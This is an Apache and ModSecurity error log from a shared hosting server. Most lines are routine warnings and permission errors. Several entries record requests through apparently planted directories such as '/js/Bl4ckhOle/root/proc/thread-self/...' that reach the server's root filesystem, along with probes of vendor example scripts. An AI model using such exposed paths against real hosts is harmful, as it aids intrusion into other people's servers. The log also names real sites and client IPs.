[Fri Jul 17 10:34:41.858420 2026] [security2:error] [pid 2076188:tid 2076188] [client 216.244.66.237:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/index.php"] [unique_id "alm36cwb7ueECO0vce5urgAAAA8"]
[Fri Jul 17 10:34:41.859276 2026] [security2:error] [pid 2076188:tid 2076188] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/index.php"] [unique_id "alm36cwb7ueECO0vce5urgAAAA8"]
[Fri Jul 17 10:34:41.859607 2026] [security2:error] [pid 2076188:tid 2076188] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/index.php"] [unique_id "alm36cwb7ueECO0vce5urgAAAA8"]
[Fri Jul 17 10:34:43.544494 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:34:43.565350 2026] [autoindex:error] [pid 2075711:tid 2075711] [client 4.194.24.143:0] AH01276: Cannot serve directory /home/askinternational/public_html/.well-known/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 10:34:44.178930 2026] [ssl:error] [pid 2075718:tid 2075718] (70014)End of file found: [client 66.85.158.91:36084] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:34:45.218090 2026] [ssl:error] [pid 2075904:tid 2075904] (70014)End of file found: [client 66.85.158.91:36116] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:34:45.964918 2026] [autoindex:error] [pid 2076188:tid 2076188] [client 4.194.24.143:0] AH01276: Cannot serve directory /home/askinternational/public_html/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 10:34:46.958248 2026] [security2:error] [pid 2076188:tid 2076188] [client 4.194.24.143:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/askinternational-global": Permission denied [hostname "askinternationalconsortium.com"] [uri "/index.php"] [unique_id "alm37cwb7ueECO0vce5usAAAAA8"]
[Fri Jul 17 10:34:46.958279 2026] [security2:error] [pid 2076188:tid 2076188] [client 4.194.24.143:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/askinternational-ip": Permission denied [hostname "askinternationalconsortium.com"] [uri "/index.php"] [unique_id "alm37cwb7ueECO0vce5usAAAAA8"]
[Fri Jul 17 10:34:46.972870 2026] [ssl:error] [pid 2075901:tid 2075901] (70014)End of file found: [client 66.85.158.91:36196] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:34:46.995969 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:34:47.183165 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:34:48.930551 2026] [ssl:error] [pid 2081358:tid 2081358] (70014)End of file found: [client 66.85.158.91:36256] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:34:51.825215 2026] [ssl:error] [pid 2076188:tid 2076188] (70014)End of file found: [client 66.85.158.91:36580] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:34:54.080615 2026] [security2:error] [pid 2080166:tid 2080166] [client 216.244.66.237:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/storage/vendor/klarna/kco_rest/docs/examples/order/fetch_order.php"] [unique_id "alm39vRQxqlkCVBz78cq0gAAABQ"]
[Fri Jul 17 10:34:54.085970 2026] [security2:error] [pid 2080166:tid 2080166] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/storage/vendor/klarna/kco_rest/docs/examples/order/fetch_order.php"] [unique_id "alm39vRQxqlkCVBz78cq0gAAABQ"]
[Fri Jul 17 10:34:54.086408 2026] [security2:error] [pid 2080166:tid 2080166] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/storage/vendor/klarna/kco_rest/docs/examples/order/fetch_order.php"] [unique_id "alm39vRQxqlkCVBz78cq0gAAABQ"]
[Fri Jul 17 10:35:01.221510 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:35:01.969740 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:35:02.003375 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:35:05.365584 2026] [security2:error] [pid 2075705:tid 2075705] [client 216.244.66.237:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/storage/vendor/klarna/kco_rest/docs/examples/order/update_merchant_references.php"] [unique_id "alm4AfVsLAz87UqRdDoZIgAAAAA"]
[Fri Jul 17 10:35:05.365952 2026] [security2:error] [pid 2075705:tid 2075705] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/storage/vendor/klarna/kco_rest/docs/examples/order/update_merchant_references.php"] [unique_id "alm4AfVsLAz87UqRdDoZIgAAAAA"]
[Fri Jul 17 10:35:05.366228 2026] [security2:error] [pid 2075705:tid 2075705] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/storage/vendor/klarna/kco_rest/docs/examples/order/update_merchant_references.php"] [unique_id "alm4AfVsLAz87UqRdDoZIgAAAAA"]
[Fri Jul 17 10:35:10.703363 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:35:10.755375 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:35:10.796421 2026] [core:error] [pid 2075723:tid 2075723] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pnp0/00:04/rtc/rtc0/device/subsystem/uevent
[Fri Jul 17 10:35:13.197833 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:35:13.572825 2026] [core:error] [pid 2079960:tid 2079960] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/bus/hid/drivers/magicmouse/uevent
[Fri Jul 17 10:35:14.988577 2026] [security2:error] [pid 2080166:tid 2080166] [client 47.82.13.117:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/veneelk-global": Permission denied [hostname "www.venee.lk"] [uri "/cgi-sys/suspendedpage.cgi"] [unique_id "alm4CvRQxqlkCVBz78cq2wAAABQ"], referer: https://www.venee.lk/
[Fri Jul 17 10:35:14.988623 2026] [security2:error] [pid 2080166:tid 2080166] [client 47.82.13.117:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/veneelk-ip": Permission denied [hostname "www.venee.lk"] [uri "/cgi-sys/suspendedpage.cgi"] [unique_id "alm4CvRQxqlkCVBz78cq2wAAABQ"], referer: https://www.venee.lk/
[Fri Jul 17 10:35:17.062019 2026] [security2:error] [pid 2081358:tid 2081358] [client 61.245.169.99:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nccphealthgov-global": Permission denied [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/js/jquery.tweet.js"] [unique_id "alm4DZWREna-U6bV0taiwgAAABA"], referer: https://www.nccp.health.gov.lk/nc/preventionUnit/media/-11
[Fri Jul 17 10:35:17.062069 2026] [security2:error] [pid 2081358:tid 2081358] [client 61.245.169.99:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nccphealthgov-ip": Permission denied [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/js/jquery.tweet.js"] [unique_id "alm4DZWREna-U6bV0taiwgAAABA"], referer: https://www.nccp.health.gov.lk/nc/preventionUnit/media/-11
[Fri Jul 17 10:35:17.230494 2026] [ssl:error] [pid 2075780:tid 2075780] (70014)End of file found: [client 66.85.158.91:48992] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:35:19.301206 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:35:19.351594 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:35:24.247644 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:35:26.419486 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:35:26.683713 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:35:26.758614 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:35:31.768024 2026] [ssl:error] [pid 2075718:tid 2075718] (70014)End of file found: [client 66.85.158.91:55208] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:35:33.570266 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:35:33.583243 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:35:33.611324 2026] [ssl:error] [pid 2075780:tid 2075780] (70014)End of file found: [client 66.85.158.91:55258] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:35:35.096205 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:35:36.245566 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:35:38.122184 2026] [ssl:error] [pid 2075711:tid 2075711] (70014)End of file found: [client 66.85.158.91:55414] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:35:38.761740 2026] [core:error] [pid 2076257:tid 2076257] (13)Permission denied: [client 47.79.11.182:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/116:4/subsystem/card0/device/subsystem/uevent
[Fri Jul 17 10:35:39.133364 2026] [security2:error] [pid 2075691:tid 2075691] [client 103.95.165.38:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-global": Permission denied [hostname "2s-travels.com"] [uri "/xmlrpc.php"] [unique_id "alm4Ip-MjlCH45ePojRLlAAAABE"]
[Fri Jul 17 10:35:39.133391 2026] [security2:error] [pid 2075691:tid 2075691] [client 103.95.165.38:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-ip": Permission denied [hostname "2s-travels.com"] [uri "/xmlrpc.php"] [unique_id "alm4Ip-MjlCH45ePojRLlAAAABE"]
[Fri Jul 17 10:35:39.564364 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:35:45.861199 2026] [ssl:error] [pid 2075690:tid 2075690] (70014)End of file found: [client 66.85.158.91:44384] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:35:49.287769 2026] [security2:error] [pid 2075904:tid 2075904] [client 57.141.18.120:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory88/node0/memory69/node0/memory115/node0/memory109/"] [unique_id "alm4LTuaDdNRw9_WO140HAAAAAg"]
[Fri Jul 17 10:35:49.287807 2026] [security2:error] [pid 2075904:tid 2075904] [client 57.141.18.120:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory88/node0/memory69/node0/memory115/node0/memory109/"] [unique_id "alm4LTuaDdNRw9_WO140HAAAAAg"]
[Fri Jul 17 10:35:50.329373 2026] [ssl:error] [pid 2079960:tid 2079960] (70014)End of file found: [client 66.85.158.91:44566] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:35:52.073504 2026] [ssl:error] [pid 2081373:tid 2081373] (70014)End of file found: [client 66.85.158.91:40632] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:35:53.001441 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:35:53.328260 2026] [ssl:error] [pid 2075718:tid 2075718] (70014)End of file found: [client 66.85.158.91:40670] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:35:54.760856 2026] [security2:error] [pid 2076231:tid 2076231] [client 57.141.18.41:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory3/subsystem/devices/memory10/subsystem/devices/memory122/node0/memory92/"] [unique_id "alm4MmG27nIfbW_ExyiJywAAABM"]
[Fri Jul 17 10:35:54.760894 2026] [security2:error] [pid 2076231:tid 2076231] [client 57.141.18.41:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory3/subsystem/devices/memory10/subsystem/devices/memory122/node0/memory92/"] [unique_id "alm4MmG27nIfbW_ExyiJywAAABM"]
[Fri Jul 17 10:36:01.605795 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:36:02.780663 2026] [security2:error] [pid 2075690:tid 2075690] [client 66.85.158.91:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-global": Permission denied [hostname "millenniumagro.lk"] [uri "/wp-admin/admin-ajax.php"] [unique_id "alm4ORyL4_TKNgi7OLI5agAAAB4"]
[Fri Jul 17 10:36:02.780705 2026] [security2:error] [pid 2075690:tid 2075690] [client 66.85.158.91:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-ip": Permission denied [hostname "millenniumagro.lk"] [uri "/wp-admin/admin-ajax.php"] [unique_id "alm4ORyL4_TKNgi7OLI5agAAAB4"]
[Fri Jul 17 10:36:12.146262 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:36:13.473877 2026] [ssl:error] [pid 2076231:tid 2076231] (70014)End of file found: [client 66.85.158.91:57056] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:36:14.535125 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:36:14.542592 2026] [security2:error] [pid 2075690:tid 2075690] [client 47.79.10.177:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:4/subsystem/tty37/power/runtime_active_time"] [unique_id "alm4RhyL4_TKNgi7OLI5bwAAAB4"]
[Fri Jul 17 10:36:14.542641 2026] [security2:error] [pid 2075690:tid 2075690] [client 47.79.10.177:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:4/subsystem/tty37/power/runtime_active_time"] [unique_id "alm4RhyL4_TKNgi7OLI5bwAAAB4"]
[Fri Jul 17 10:36:14.763496 2026] [ssl:error] [pid 2075908:tid 2075908] (70014)End of file found: [client 66.85.158.91:57090] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:36:16.546088 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:36:18.824204 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:36:19.019906 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:36:20.305373 2026] [ssl:error] [pid 2075904:tid 2075904] (70014)End of file found: [client 66.85.158.91:57304] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:36:22.384718 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:36:22.966312 2026] [ssl:error] [pid 2076231:tid 2076231] (70014)End of file found: [client 66.85.158.91:37062] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:36:23.251426 2026] [core:error] [pid 2079960:tid 2079960] (13)Permission denied: [client 47.82.15.114:0] AH00132: file permissions deny server access: /home/anandaob/public_html/backup/js/Bl4ckhOle/root/sys/dev/char/4:67/device/driver/bind
[Fri Jul 17 10:36:24.083526 2026] [ssl:error] [pid 2075718:tid 2075718] (70014)End of file found: [client 66.85.158.91:37106] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:36:24.969968 2026] [ssl:error] [pid 2075901:tid 2075901] (70014)End of file found: [client 66.85.158.91:37128] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:36:25.824648 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:36:26.941628 2026] [ssl:error] [pid 2081387:tid 2081387] (70014)End of file found: [client 66.85.158.91:37174] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:36:28.056656 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:36:28.216233 2026] [core:error] [pid 2076188:tid 2076188] (13)Permission denied: [client 47.128.48.178:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/var/tmp/20251006-231638-aOQAfklFs1vIIJdP0LiYagAAAAs-file-zdomcp
[Fri Jul 17 10:36:28.222443 2026] [ssl:error] [pid 2075978:tid 2075978] (70014)End of file found: [client 66.85.158.91:37252] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:36:29.380275 2026] [security2:error] [pid 2075908:tid 2075908] [client 20.226.60.151:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/asrgroup-global": Permission denied [hostname "asrgroup.lk"] [uri "/index.php"] [unique_id "alm4VEj_u9-aE9qeQW0e2AAAAAk"]
[Fri Jul 17 10:36:29.380324 2026] [security2:error] [pid 2075908:tid 2075908] [client 20.226.60.151:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/asrgroup-ip": Permission denied [hostname "asrgroup.lk"] [uri "/index.php"] [unique_id "alm4VEj_u9-aE9qeQW0e2AAAAAk"]
[Fri Jul 17 10:36:30.448611 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:36:31.669785 2026] [ssl:error] [pid 2075780:tid 2075780] (70014)End of file found: [client 66.85.158.91:40576] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:36:33.067076 2026] [security2:error] [pid 2075904:tid 2075904] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "alm4WDuaDdNRw9_WO140MAAAAAg"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1027&page_105=1655
[Fri Jul 17 10:36:33.067171 2026] [security2:error] [pid 2075904:tid 2075904] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "alm4WDuaDdNRw9_WO140MAAAAAg"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1027&page_105=1655
[Fri Jul 17 10:36:34.911225 2026] [security2:error] [pid 2081373:tid 2081373] [client 57.141.18.77:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory19/subsystem/devices/memory58/node0/memory60/subsystem/devices/memory40/node0/memory80/"] [unique_id "alm4WkPK-OIDVxiTM0dxvwAAABY"]
[Fri Jul 17 10:36:34.911374 2026] [security2:error] [pid 2081373:tid 2081373] [client 57.141.18.77:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory19/subsystem/devices/memory58/node0/memory60/subsystem/devices/memory40/node0/memory80/"] [unique_id "alm4WkPK-OIDVxiTM0dxvwAAABY"]
[Fri Jul 17 10:36:35.403120 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:36:35.595618 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:36:35.903547 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:36:36.072419 2026] [ssl:error] [pid 2076231:tid 2076231] (70014)End of file found: [client 66.85.158.91:40714] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:36:37.928325 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:36:38.074976 2026] [ssl:error] [pid 2076194:tid 2076194] (70014)End of file found: [client 66.85.158.91:40784] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:36:39.618616 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:36:39.624317 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:36:40.177030 2026] [ssl:error] [pid 2076257:tid 2076257] (70014)End of file found: [client 66.85.158.91:40888] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:36:40.813334 2026] [security2:error] [pid 2075780:tid 2075780] [client 114.119.130.97:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "alm4YB0C3r-GF3RTNAbVGgAAAAY"], referer: https://www.epid.gov.lk/situation-report?filter=2022&page_105=15&page_104=10
[Fri Jul 17 10:36:40.813367 2026] [security2:error] [pid 2075780:tid 2075780] [client 114.119.130.97:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "alm4YB0C3r-GF3RTNAbVGgAAAAY"], referer: https://www.epid.gov.lk/situation-report?filter=2022&page_105=15&page_104=10
[Fri Jul 17 10:36:41.280137 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:36:41.514016 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:36:41.898195 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:36:42.123468 2026] [ssl:error] [pid 2075780:tid 2075780] (70014)End of file found: [client 66.85.158.91:39372] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:36:42.292160 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:36:42.735887 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:36:43.237657 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:36:43.743323 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:36:43.910540 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:36:43.976914 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:36:45.664577 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:36:46.811463 2026] [ssl:error] [pid 2075711:tid 2075711] (70014)End of file found: [client 66.85.158.91:39582] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:36:47.118964 2026] [ssl:error] [pid 2075705:tid 2075705] (70014)End of file found: [client 66.85.158.91:39600] AH02013: coalesce failed to read from data bucket
